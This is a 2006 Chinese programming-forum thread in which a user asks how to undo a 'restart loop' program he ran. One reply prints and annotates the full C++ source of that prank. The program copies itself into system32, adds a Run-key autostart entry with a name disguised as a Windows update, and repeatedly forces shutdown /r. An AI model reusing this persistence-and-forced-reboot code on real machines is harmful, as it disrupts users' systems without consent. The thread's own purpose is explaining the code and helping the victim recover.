社区
C语言
帖子详情
注册表的修改
liujiwei2007
2006-12-24 10:06:56
我在下面的网站
http://www.ediwon.com/blog/article.asp?id=21
拷贝了代码
就好奇的在VC下面运行了一下
我知道机器会重起
但是不知道是每次开机都重起
这里的朋友有没有知道怎么修改
可以恢复正常的状态
我在这里先谢过了
...全文
259
7
打赏
收藏
注册表的修改
我在下面的网站 http://www.ediwon.com/blog/article.asp?id=21 拷贝了代码 就好奇的在VC下面运行了一下 我知道机器会重起 但是不知道是每次开机都重起 这里的朋友有没有知道怎么修改 可以恢复正常的状态 我在这里先谢过了
复制链接
扫一扫
分享
转发到动态
举报
AI
作业
写回复
配置赞助广告
用AI写文章
7 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
hengjiweiye777
2007-04-13
打赏
举报
回复
JF
argenCHN
2006-12-25
打赏
举报
回复
强
alxen
2006-12-25
打赏
举报
回复
看了下,原文如下。
小弟水平有限,简单分析下源代码。
-----------------------------
xp循环重启[原创]
作者:ediwon 日期:2006-08-13
#include <iostream>
#include <cstdlib>
#include <string>
#include <fstream>
using namespace std;
const int justNumbers = 3; //times.重启的次数,这里如果换成100甚至1000,不敢想象......
int main(int argc,char *argv[])
{
char dos_copy[150]="copy ";
strcat(dos_copy,"\"");
strcat(dos_copy,argv[0]);
strcat(dos_copy,"\"");
strcat(dos_copy," \"c:\\WINDOWS\\system32\\zv.exe\"");//把程序自身放在系统文件夹
system(dos_copy);
fstream outfiles;
outfiles.open("C:\\WINDOWS\\system32\\zshut.reg",ios::out);//在系统文件夹下生成注册表文件,以实现自启动
if (!outfiles)
{
cout << "失败!"<< endl;
abort();
}
outfiles << "Windows Registry Editor Version 5.00" << endl;
outfiles << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]" <<endl;
outfiles << "\"windows updata exp1ore\"=\"C:\\\\WINDOWS\\\\system32\\\\zv.exe\"";//在开机自启动位置写入程序自身,这一步还是写注册表文件,不是直接操作注册表的
outfiles.close();
system("regedit/s C:\\WINDOWS\\system32\\zshut.reg");//打开注册表文件,把程序的自启动信息导入注册表
fstream infiles;
infiles.open("zzz.txt",ios::in);//这个文件是保存你的机子重启的次数的
if (!infiles)
{
fstream outfiles;
outfiles.open("zzz.txt",ios::out);
if (!outfiles)
{
cout << "失败!" << endl;
abort();
}
int i = 1;
outfiles << i;
outfiles.close();
}
int number = 0;
infiles >> number;
number += 1;
fstream outfilelast;
outfilelast.open("zzz.txt",ios::out);
if (!outfilelast)
{
cout << "失败!" << endl;
abort();
}
outfilelast << number;
outfilelast.close();
if (number <= justNumbers )
{
for (int i = 0; i < 10; i++)
{
cout << "模拟病毒程序,您将自动从启" << justNumbers <<"次,本程序自动删除!" <<endl;
cout << "这是您几 " <<number<< " 次重启." << endl;
}
system("shutdown /r");
}
else
{
system("del c:\\WINDOWS\\system32\\zv.exe");//重启完毕(3次)后删除自身。还算有点什么,呵呵。不过作者忘记了把人家的注册表再改过了。呵呵。
cout << "好了,您的电脑" << justNumbers <<" 次从启完闭,不好意思.打扰了!" <<endl; //这位老兄像是南方人,重启写从启。。
}
system("pause");
return 0;
}
----------------------------
这个程序算不上病毒,作者也没有什么恶意。只是一个恶作剧而已,作者只让别人的机子重启3次。然后就ok了。程序会删除自身的。但是作者忘记了把程序写入注册表的开机自启动信息删除。不过看代码就知道了,中招的朋友完全可以自己搞定。
就到这里了,小弟水平有限,不足之处请各位多多指教。
amdk_7
2006-12-24
打赏
举报
回复
JFJF
kookworm
2006-12-24
打赏
举报
回复
解决了,那就直接接分了
大熊猫侯佩
2006-12-24
打赏
举报
回复
修改了注册表中的哪里?
liujiwei2007
2006-12-24
打赏
举报
回复
以解决!
WINDOWS
修改
注册表
日期格式
日期格式为yyyy-MM-dd HH:mm:ss,由于sqlserver日期格式要求,系统日期时间有误
更改CPU属性
注册表
更改CPU属性
注册表
局域网共享(
修改
注册表
)
家庭局域网之间互相访问
修改
有关jdk配置的
注册表
文件
在导入过程中,系统会提示你确认操作,因为更改
注册表
可能影响系统的稳定性。 5. 最关键的是,导入前一定要确保“java.reg”文件中的路径指向了你本地实际安装的JDK目录。如果不正确,可能会导致JDK相关软件出现问题...
文件-
注册表
权限设置易语言模块源码
用来更改文件访问权限以及
注册表
访问权限的源码. 编译成易语言模块使用.
C语言
70,026
社区成员
243,244
社区内容
发帖
与我相关
我的任务
C语言
C语言相关问题讨论
复制链接
扫一扫
分享
社区描述
C语言相关问题讨论
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章